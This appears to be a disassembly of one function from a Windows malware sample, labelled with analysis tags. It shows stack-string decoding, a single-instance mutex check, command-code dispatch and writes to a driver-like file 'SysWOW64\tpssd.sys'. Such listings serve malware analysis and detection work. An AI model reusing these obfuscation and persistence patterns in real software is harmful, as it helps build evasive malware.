Function at 0x408320
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xcc], eax
push esi
push edi
mov edi, dword [ebp + 0x10]
push 3
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00407040
xorps xmm0, xmm0
mov dword [esp + 0xac], 0x630079
lea edx, [esp + 0xac]
mov dword [esp + 0xb0], 0x660074
mov dword [esp + 0xb4], 0x770073
lea ecx, [edx + 2]
mov dword [esp + 0xb8], 0x64006a
mov dword [esp + 0xbc], 0x2f0066
mov dword [esp + 0xc0], 0x790066
mov dword [esp + 0xc4], 0x66
movq qword [esp + 0xc8], xmm0
mov dword [esp + 0xd0], 0
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4083c0
sub edx, ecx
xor ecx, ecx
sar edx, 1
test edx, edx
jle 0x40843d
cmp edx, 0x10
jb 0x408426
mov eax, edx
and eax, 0x8000000f
jns 0x4083e8
dec eax
or eax, 0xfffffff0
inc eax
movdqa xmm1, xmmword [0x420150]
mov esi, edx
sub esi, eax
lea eax, [esp + 0xbc]
jmp 0x408400
movdqu xmm0, xmmword [eax - 0x10]
add ecx, 0x10
lea eax, [eax + 0x20]
psubw xmm0, xmm1
movdqu xmmword [eax - 0x30], xmm0
movdqu xmm0, xmmword [eax - 0x20]
psubw xmm0, xmm1
movdqu xmmword [eax - 0x20], xmm0
cmp ecx, esi
jl 0x408400
cmp ecx, edx
jge 0x40843d
mov eax, 0xffff
nop
add word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, edx
jl 0x408430
lea ecx, [esp + 0xac]
call fcn.00405850
test al, al
je 0x408852
push str.4D5A7B65_13C9_4647_B930_30E9991D94F3
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x48bbf4], eax
test eax, eax
je 0x40847a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408852
mov edx, 0x24
lea ecx, [esp + 8]
call fcn.00406ef0
mov esi, eax
cmp esi, 0x48aa50
je 0x408518
cmp dword [0x48aa64], 8
jb 0x4084ad
push dword [0x48aa50]
call fcn.004098d1
add esp, 4
xor eax, eax
mov dword [0x48aa64], 7
mov dword [0x48aa60], 0
mov word [0x48aa50], ax
cmp dword [esi + 0x14], 8
jae 0x4084e8
mov eax, dword [esi + 0x10]
inc eax
je 0x4084f5
add eax, eax
push eax
push esi
push 0x48aa50
call fcn.00408fe0
add esp, 0xc
jmp 0x4084f5
mov eax, dword [esi]
mov dword [0x48aa50], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [0x48aa60], eax
mov eax, dword [esi + 0x14]
mov dword [0x48aa64], eax
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
cmp dword [esp + 0x1c], 8
jb 0x40852b
push dword [esp + 8]
call fcn.004098d1
add esp, 4
push 0x2c
lea eax, [esp + 0x54]
push 0
push eax
call fcn.00411610
add esp, 0xc
lea ecx, [esp + 0x50]
push edi
call fcn.00405d20
push ecx
push str.0x101
lea ecx, [esp + 0x58]
call fcn.00405e20
test al, al
je 0x408574
push 0x13
push str.SysWOW64_tpssd.sys
mov ecx, 0x48aa50
call fcn.00405650
call fcn.00407480
jmp 0x4087c6
push ecx
push str.0x102
lea ecx, [esp + 0x58]
call fcn.00405e20
push ecx
lea ecx, [esp + 0x54]
test al, al
je 0x4085cc
lea eax, [esp + 0x3c]
push eax
call fcn.00405ea0
cmp dword [esp + 0x48], 0
je 0x4085b0
cmp dword [esp + 0x4c], 8
lea ecx, [esp + 0x38]
cmovae ecx, dword [esp + 0x38]
call fcn.004074f0
cmp dword [esp + 0x4c], 8
jb 0x4087c6
push dword [esp + 0x38]
call fcn.004098d1
add esp, 4
jmp 0x4087c6
push str.0x103
call fcn.00405e20
test al, al
je 0x4085f5
push 0x13
push str.SysWOW64_tpssd.sys
mov ecx, 0x48aa50
call fcn.00405650
call fcn.004079d0
jmp 0x4087c6
push ecx
push str.0xff5
lea ecx, [esp + 0x58]
call fcn.00405e20
test al, al
je 0x4087ae
mov dword [esp + 0x90], 0xf
mov dword [esp + 0x8c], 0
mov byte [esp + 0x7c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040aebf
add esp, 4
call fcn.0040ae9e
mov ecx, 3
cdq
idiv ecx
add edx, ecx
lea ecx, [esp + 0x7c]
call fcn.004073c0
push 0x42011c
lea ecx, [esp + 0x3c]
call fcn.00404760
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x44]
call fcn.00404960
push 5
push str.t.sys
lea ecx, [esp + 0x40]
call fcn.00404830
lea edx, [esp + 0x38]
lea ecx, [esp + 0x20]
call fcn.004070e0
push eax
lea ecx, [esp + 0xc]
call fcn.00408b30
add esp, 4
mov ecx, 0x48aa50
push 0xffffffffffffffff
push 0
push eax
call fcn.00405730
cmp dword [esp + 0x1c], 8
jb 0x4086bd
push dword [esp + 8]
call fcn.004098d1
add esp, 4
xor eax, eax
mov dword [esp + 0x1c], 7
cmp dword [esp + 0x34], 8
mov dword [esp + 0x18], 0
mov word [esp + 8], ax
jb 0x4086e7
push dword [esp + 0x20]
call fcn.004098d1
add esp, 4
call fcn.00407480
push ecx
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0x58]
call fcn.00405ea0
lea edx, [esp + 0x94]
lea ecx, [esp + 0x20]
call fcn.00407220
cmp dword [eax + 0x14], 0x10
jb 0x408716
mov eax, dword [eax]
mov ecx, eax
call fcn.00407730
cmp dword [esp + 0x34], 0x10
jb 0x408730
push dword [esp + 0x20]
call fcn.004098d1
add esp, 4
call fcn.004079d0
cmp dword [esp + 0xa8], 8
jb 0x40874e
push dword [esp + 0x94]
call fcn.004098d1
add esp, 4
xor eax, eax
mov dword [esp + 0xa8], 7
cmp dword [esp + 0x4c], 0x10
mov dword [esp + 0xa4], 0
mov word [esp + 0x94], ax
jb 0x408781
push dword [esp + 0x38]
call fcn.004098d1
add esp, 4
cmp dword [esp + 0x90], 0x10
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], 0
mov byte [esp + 0x38], 0
jb 0x4087c6
push dword [esp + 0x7c]
call fcn.004098d1
add esp, 4
jmp 0x4087c6
push ecx
push str.0x308
lea ecx, [esp + 0x58]
call fcn.00405e20
test al, al
je 0x4087c6
call fcn.00408210
mov eax, dword [esp + 0x54]
test eax, eax
je 0x4087dd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x54], 0
mov esi, dword [esp + 0x70]
test esi, esi
je 0x40883f
mov edi, dword [esp + 0x74]
cmp esi, edi
je 0x40881e
lea ecx, [ecx]
cmp dword [esi + 0x14], 8
jb 0x408800
push dword [esi]
call fcn.004098d1
add esp, 4
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
add esi, 0x18
cmp esi, edi
jne 0x4087f0
mov esi, dword [esp + 0x70]
push esi
call fcn.004098d1
add esp, 4
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
cmp dword [esp + 0x6c], 8
jb 0x408852
push dword [esp + 0x58]
call fcn.004098d1
add esp, 4
mov ecx, dword [esp + 0xd4]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00408e8c
mov esp, ebp
pop ebp
ret 0x10